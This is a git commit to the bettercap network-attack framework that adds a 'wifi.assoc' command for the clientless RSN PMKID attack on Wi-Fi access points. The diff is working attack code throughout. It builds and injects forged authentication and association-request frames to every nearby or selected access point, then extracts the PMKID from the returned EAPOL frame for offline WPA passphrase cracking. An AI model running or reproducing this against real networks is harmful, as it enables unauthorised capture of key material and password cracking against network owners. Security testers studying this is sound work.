new: new wifi.assoc command to perform a RSN PMKID clientless attack (closes #436)

This commit is contained in:
evilsocket 2019-02-07 18:27:14 +01:00
commit acbc6d28dd
No known key found for this signature in database
GPG key ID: 1564D7F30393A456
7 changed files with 279 additions and 6 deletions

View file

@ -37,6 +37,9 @@ type WiFiModule struct {
deauthSkip []net.HardwareAddr
deauthSilent bool
deauthOpen bool
assocSkip []net.HardwareAddr
assocSilent bool
assocOpen bool
shakesFile string
apRunning bool
apConfig packets.Dot11ApConfig
@ -57,6 +60,10 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
apRunning: false,
deauthSkip: []net.HardwareAddr{},
deauthSilent: false,
deauthOpen: false,
assocSkip: []net.HardwareAddr{},
assocSilent: false,
assocOpen: false,
writes: &sync.WaitGroup{},
reads: &sync.WaitGroup{},
chanLock: &sync.Mutex{},
@ -123,6 +130,32 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
"true",
"Send wifi deauth packets to open networks."))
w.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
func(args []string) error {
if args[0] == "all" || args[0] == "*" {
args[0] = "ff:ff:ff:ff:ff:ff"
}
bssid, err := net.ParseMAC(args[0])
if err != nil {
return err
}
return w.startAssoc(bssid)
}))
w.AddParam(session.NewStringParameter("wifi.assoc.skip",
"",
"",
"Comma separated list of BSSID to skip while sending association requests."))
w.AddParam(session.NewBoolParameter("wifi.assoc.silent",
"false",
"If true, messages from wifi.assoc will be suppressed."))
w.AddParam(session.NewBoolParameter("wifi.assoc.open",
"false",
"Send association requests to open networks."))
w.AddHandler(session.NewModuleHandler("wifi.ap", "",
"Inject fake management beacons in order to create a rogue access point.",
func(args []string) error {
@ -228,7 +261,7 @@ func (w WiFiModule) Description() string {
}
func (w WiFiModule) Author() string {
return "Gianluca Braga <matrix86@protonmail.com> && Simone Margaritelli <evilsocket@protonmail.com>>"
return "Simone Margaritelli <evilsocket@protonmail.com> && Gianluca Braga <matrix86@protonmail.com>"
}
const (

130
modules/wifi_assoc.go Normal file
View file

@ -0,0 +1,130 @@
package modules
import (
"bytes"
"fmt"
"net"
"sort"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
)
func (w *WiFiModule) sendAssocPacket(ap *network.AccessPoint) {
if err, pkt := packets.NewDot11Auth(w.Session.Interface.HW, ap.HW, 1); err != nil {
log.Error("cloud not create auth packet: %s", err)
// continue
} else {
w.injectPacket(pkt)
}
// for seq := uint16(0); seq < 3 && w.Running(); seq++ {
if err, pkt := packets.NewDot11AssociationRequest(w.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil {
log.Error("cloud not create association request packet: %s", err)
// continue
} else {
w.injectPacket(pkt)
}
// }
}
func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
for _, mac := range w.assocSkip {
if bytes.Equal(to, mac) {
return true
}
}
return false
}
func (w *WiFiModule) isAssocSilent() bool {
if err, is := w.BoolParam("wifi.assoc.silent"); err != nil {
log.Warning("%v", err)
} else {
w.assocSilent = is
}
return w.assocSilent
}
func (w *WiFiModule) doAssocOpen() bool {
if err, is := w.BoolParam("wifi.assoc.open"); err != nil {
log.Warning("%v", err)
} else {
w.assocOpen = is
}
return w.assocOpen
}
func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
// parse skip list
if err, assocSkip := w.StringParam("wifi.assoc.skip"); err != nil {
return err
} else if macs, err := network.ParseMACs(assocSkip); err != nil {
return err
} else {
w.assocSkip = macs
}
// if not already running, temporarily enable the pcap handle
// for packet injection
if !w.Running() {
if err := w.Configure(); err != nil {
return err
}
defer w.handle.Close()
}
toAssoc := make([]*network.AccessPoint, 0)
isBcast := network.IsBroadcastMac(to)
for _, ap := range w.Session.WiFi.List() {
if isBcast || bytes.Equal(ap.HW, to) {
if !w.skipAssoc(ap.HW) {
toAssoc = append(toAssoc, ap)
} else {
log.Debug("skipping ap:%v because skip list %v", ap, w.assocSkip)
}
}
}
if len(toAssoc) == 0 {
if isBcast {
return nil
}
return fmt.Errorf("%s is an unknown BSSID or it is in the association skip list.", to.String())
}
go func() {
w.writes.Add(1)
defer w.writes.Done()
// since we need to change the wifi adapter channel for each
// association request, let's sort by channel so we do the minimum
// amount of hops possible
sort.Slice(toAssoc, func(i, j int) bool {
return toAssoc[i].Channel() < toAssoc[j].Channel()
})
// send the association request frames
for _, ap := range toAssoc {
if w.Running() {
logger := log.Info
if w.isAssocSilent() {
logger = log.Debug
}
if ap.IsOpen() && !w.doAssocOpen() {
log.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
} else {
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption)
w.onChannel(ap.Channel(), func() {
w.sendAssocPacket(ap)
})
}
}
}
}()
return nil
}

View file

@ -156,11 +156,25 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
apMac = dot11.Address1
}
if station, found := w.Session.WiFi.GetClient(staMac.String()); found {
// ref. https://hashcat.net/forum/thread-7717.html
rawPMKID := []byte(nil)
ap, found := w.Session.WiFi.Get(apMac.String())
if !found {
log.Warning("could not find AP with BSSID %s", apMac.String())
return
}
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
station := (*network.Station)(nil)
staIsUs := bytes.Equal(staMac, w.Session.Interface.HW)
if staIsUs {
// add a fake station
station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI)
found = true
} else {
station, found = ap.Get(staMac.String())
}
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
if found {
rawPMKID := []byte(nil)
if !key.Install && key.KeyACK && !key.KeyMIC {
// [1] (ACK) AP is sending ANonce to the client
log.Debug("[%s] got frame 1/4 of the %s <-> %s handshake (anonce:%x)",
@ -168,6 +182,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
apMac,
staMac,
key.Nonce)
// ref. https://hashcat.net/forum/thread-7717.html
rawPMKID = station.Handshake.AddAndGetPMKID(packet)
} else if !key.Install && !key.KeyACK && key.KeyMIC && !allZeros(key.Nonce) {
// [2] (MIC) client is sending SNonce+MIC to the API
@ -206,6 +221,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
PMKID: rawPMKID,
})
}
} else {
log.Warning("EAPOL captured for unknown station %s", staMac.String())
}

View file

@ -58,7 +58,7 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
// this is ugly, but necessary in order to have this
// method handle both access point and clients
// transparently
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && ap.HasHandshakes() {
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) {
encryption = tui.Red(encryption)
}
}

View file

@ -124,3 +124,16 @@ func (ap *AccessPoint) NumHandshakes() int {
func (ap *AccessPoint) HasHandshakes() bool {
return ap.NumHandshakes() > 0
}
func (ap *AccessPoint) HasPMKID() bool {
ap.Lock()
defer ap.Unlock()
for _, c := range ap.clients {
if c.Handshake.HasPMKID() {
return true
}
}
return false
}

View file

@ -14,6 +14,7 @@ type Handshake struct {
Challenges []gopacket.Packet
Responses []gopacket.Packet
Confirmations []gopacket.Packet
hasPMKID bool
unsaved []gopacket.Packet
}
@ -49,6 +50,9 @@ func (h *Handshake) AddAndGetPMKID(pkt gopacket.Packet) []byte {
if prevWasKey && layer.LayerType() == layers.LayerTypeDot11InformationElement {
info := layer.(*layers.Dot11InformationElement)
if info.ID == layers.Dot11InformationElementIDVendor && info.Length == 20 {
h.Lock()
defer h.Unlock()
h.hasPMKID = true
return info.Info
}
}
@ -86,6 +90,12 @@ func (h *Handshake) Complete() bool {
return nChal > 0 && nResp > 0 && nConf > 0
}
func (h *Handshake) HasPMKID() bool {
h.Lock()
defer h.Unlock()
return h.hasPMKID
}
func (h *Handshake) NumUnsaved() int {
h.Lock()
defer h.Unlock()

View file

@ -97,6 +97,77 @@ func NewDot11Deauth(a1 net.HardwareAddr, a2 net.HardwareAddr, a3 net.HardwareAdd
)
}
func NewDot11Auth(sta net.HardwareAddr, apBSSID net.HardwareAddr, seq uint16) (error, []byte) {
return Serialize(
&layers.RadioTap{},
&layers.Dot11{
Address1: apBSSID,
Address2: sta,
Address3: apBSSID,
Type: layers.Dot11TypeMgmtAuthentication,
SequenceNumber: seq,
FragmentNumber: 0,
DurationID: 0x013a,
},
&layers.Dot11MgmtAuthentication{
Algorithm: layers.Dot11AlgorithmOpen,
Sequence: 1,
Status: layers.Dot11StatusSuccess,
},
)
}
func NewDot11AssociationRequest(sta net.HardwareAddr, apBSSID net.HardwareAddr, apESSID string, seq uint16) (error, []byte) {
return Serialize(
&layers.RadioTap{},
&layers.Dot11{
Address1: apBSSID,
Address2: sta,
Address3: apBSSID,
Type: layers.Dot11TypeMgmtAssociationReq,
SequenceNumber: seq,
FragmentNumber: 0,
DurationID: 0x013a,
},
// as seen on wireshark ...
&layers.Dot11MgmtAssociationReq{
CapabilityInfo: 0x0411,
ListenInterval: 3,
},
&layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDSSID,
Length: uint8(len(apESSID) & 0xff),
Info: []byte(apESSID),
},
&layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDRates,
Length: 8,
Info: []byte{0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c},
},
&layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDESRates,
Length: 4,
Info: []byte{0x0C, 0x12, 0x18, 0x60},
},
&layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDRSNInfo,
Length: 20,
Info: []byte{0x01, 0x00, 0x00, 0x0F, 0xAC, 0x04, 0x01, 0x00, 0x00, 0x0F, 0xAC, 0x04, 0x01, 0x00, 0x00, 0x0F, 0xAC, 0x02, 0x8C, 0x00},
},
&layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDHTCapabilities,
Length: 26,
Info: []byte{0x2C, 0x01, 0x03, 0xFF, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
},
&layers.Dot11InformationElement{
ID: layers.Dot11InformationElementIDVendor,
Length: 7,
OUI: []byte{0, 0x50, 0xf2, 0x02},
Info: []byte{0, 0x01, 0},
},
)
}
func Dot11Parse(packet gopacket.Packet) (ok bool, radiotap *layers.RadioTap, dot11 *layers.Dot11) {
ok = false
radiotap = nil